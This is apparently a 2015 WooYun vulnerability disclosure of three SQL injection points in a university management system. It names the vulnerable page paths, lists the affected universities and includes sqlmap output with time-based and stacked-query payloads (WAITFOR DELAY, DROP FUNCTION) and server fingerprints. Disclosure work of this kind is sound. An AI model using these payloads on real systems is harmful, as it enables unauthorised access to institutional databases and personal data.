当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0133817

漏洞标题：某高校管理系统3处SQL注入漏洞

相关厂商：国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-08-16 12:50

修复时间：2015-11-17 09:26

公开时间：2015-11-17 09:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-16： 细节已通知厂商并且等待厂商处理中
2015-08-19： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-22： 细节向第三方安全合作伙伴开放
2015-10-13： 细节向核心白帽子及相关领域专家公开
2015-10-23： 细节向普通白帽子公开
2015-11-02： 细节向实习白帽子公开
2015-11-17： 细节向公众公开

简要描述：

详细说明：

第一处：
TeacherList.aspx?CollegeNo=
成都中医药大学
http://**.**.**.**/website/RockPlan/TeacherList.aspx?CollegeNo=010

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: CollegeNo
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: CollegeNo=010'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: CollegeNo=010' WAITFOR DELAY '0:0:5'--
---
[11:12:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008


天津城建大学
http://**.**.**.**/website/RockPlan/TeacherList.aspx?CollegeNo=08

sqlmap identified the following injection points with a total of 101 HTTP(s) requests:
---
Place: GET
Parameter: CollegeNo
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: CollegeNo=08'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: CollegeNo=08' WAITFOR DELAY '0:0:5'--
---
[11:18:58] [INFO] testing Microsoft SQL Server
[11:19:05] [INFO] confirming Microsoft SQL Server
[11:19:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000


成都航空职业技术学习
http://**.**.**.**/website/RockPlan/TeacherList.aspx?CollegeNo=04
**.**.**.**:8001/website/RockPlan/TeacherList.aspx?CollegeNo=06
四川音乐学院
http://**.**.**.**/xgweb/website/RockPlan/TeacherList.aspx?CollegeNo=07
郑州大学西亚斯学院
http://**.**.**.**/WebSite/RockPlan/TeacherList.aspx?CollegeNo=03
兰州大学
http://**.**.**.**/WebSite/RockPlan/TeacherList.aspx?CollegeNo=07
第二处：
ShowCollectivity.aspx
郑州大学西亚斯学院
http://**.**.**.**/website/AppraiseAward/ShowCollectivity.aspx?Id=99

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: Id
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
    Payload: Id=99'; IF(6435=6435) SELECT 6435 ELSE DROP FUNCTION yfnS--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: Id=99'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: Id=99' WAITFOR DELAY '0:0:5'--
---
[11:19:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005


天津城建大学
http://**.**.**.**/WebSite/AppraiseAward/ShowCollectivity.aspx?Id=21
成都职业技术学院
**.**.**.**:8001/WebSite/AppraiseAward/ShowCollectivity.aspx?Id=4
西南交通大学
http://**.**.**.**/WebSite/AppraiseAward/ShowCollectivity.aspx?Id=13
第三处：
ShowHelp.aspx?Id=
郑州大学西亚斯学院
http://**.**.**.**/website/Nsloans/ShowHelp.aspx?Id=99

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: Id
    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
    Payload: Id=99'; IF(1157=1157) SELECT 1157 ELSE DROP FUNCTION jitE--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: Id=99'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: Id=99' WAITFOR DELAY '0:0:5'--
---
[11:21:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005


成都中医药大学
http://**.**.**.**/WebSite/Nsloans/ShowHelp.aspx?Id=191
西南交通大学http://**.**.**.**/WebSite/Nsloans/ShowHelp.aspx?Id=90
兰州大学http://**.**.**.**/WebSite/Nsloans/ShowHelp.aspx?Id=112
成都航空职业技术学院http://**.**.**.**/WebSite/Nsloans/ShowHelp.aspx?Id=108
四川音乐学院http://**.**.**.**/xgweb/WebSite/Nsloans/ShowHelp.aspx?Id=136
天津城建学院http://**.**.**.**/WebSite/Nsloans/ShowHelp.aspx?Id=144
成都职业技术学院**.**.**.**:8001/WebSite/Nsloans/ShowHelp.aspx?Id=110
成都师范学院http://**.**.**.**/WebSite/Nsloans/ShowHelp.aspx?Id=143

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-08-19 09:24

厂商回复：

CNVD确认所述情况，已经转由CNCERT下发给赛尔教育，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论